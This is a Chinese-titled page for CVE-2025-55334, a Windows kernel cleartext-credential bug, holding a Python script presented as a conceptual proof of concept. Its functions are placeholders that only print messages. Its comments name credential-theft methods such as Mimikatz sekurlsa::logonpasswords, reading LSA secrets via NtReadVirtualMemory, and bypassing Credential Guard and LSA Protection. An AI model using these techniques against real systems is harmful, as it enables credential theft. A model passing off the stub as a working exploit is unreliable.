CVE-2025-55334 Windows内核明文存储敏感信息安全功能绕过漏洞

# CVE-2025-55334 - Windows Kernel Cleartext Storage PoC (Conceptual) # This is a conceptual proof-of-concept demonstrating the exploitation approach # for cleartext storage of sensitive information in Windows Kernel. import os import sys import ctypes from ctypes import wintypes # Note: This PoC is for educational and authorized testing purposes only. # Unauthorized use against systems you do not own is illegal. # Step 1: Check if running with adequate privileges def check_privileges(): """Check current process privileges""" try: return ctypes.windll.shell32.IsUserAnAdmin() != 0 except Exception: return False # Step 2: Attempt to read cleartext credentials from memory # Windows stores LSA secrets in memory that may be in cleartext def attempt_lsa_secret_read(): """ Conceptual approach to read LSA secrets from memory. In vulnerable versions, these secrets may be stored in cleartext. """ # Open LSA policy handle LSA_POLICY_HANDLE = wintypes.LPVOID policy_handle = LSA_POLICY_HANDLE() # LSA object attributes object_attributes = ctypes.create_string_buffer(0) # Attempt to retrieve LSA secrets # In vulnerable builds, secrets may be returned in cleartext print("[*] Attempting to read LSA secrets from memory...") print("[*] Vulnerable systems may return secrets in cleartext format") # Placeholder for actual exploitation logic # Real exploit would use techniques like: # - Mimikatz sekurlsa::logonpasswords # - Direct memory reading via NtReadVirtualMemory # - Kernel driver exploitation return None # Step 3: Search filesystem for cleartext credential caches def search_filesystem_artifacts(): """ Search for files that may contain cleartext credentials due to the kernel vulnerability. """ search_paths = [ r"C:\Windows\System32\config", r"C:\Windows\Temp", r"C:\Users\*\AppData\Local\Microsoft", r"C:\Windows\debug" ] print("[*] Searching for cleartext credential artifacts...") for path in search_paths: if os.path.exists(path): print(f"[+] Checking: {path}") # In real exploit, would scan for sensitive file patterns return None # Step 4: Attempt security feature bypass def bypass_security_features(): """ Use obtained cleartext credentials to bypass security features. """ print("[*] Attempting to bypass Windows security features...") print("[*] Target features: Credential Guard, UAC, LSA Protection") # Conceptual bypass logic # With cleartext credentials, attacker can: # - Authenticate as another user # - Access protected resources # - Escalate privileges return None def main(): print("=" * 60) print("CVE-2025-55334 PoC - Windows Kernel Cleartext Storage") print("WARNING: For authorized testing only") print("=" * 60) if not check_privileges(): print("[!] Warning: Not running as administrator") print("[!] Some exploitation paths may be unavailable") # Execute exploitation steps attempt_lsa_secret_read() search_filesystem_artifacts() bypass_security_features() print("[\n*] PoC execution completed") print("[*] Apply Microsoft security update to remediate") if __name__ == "__main__": main()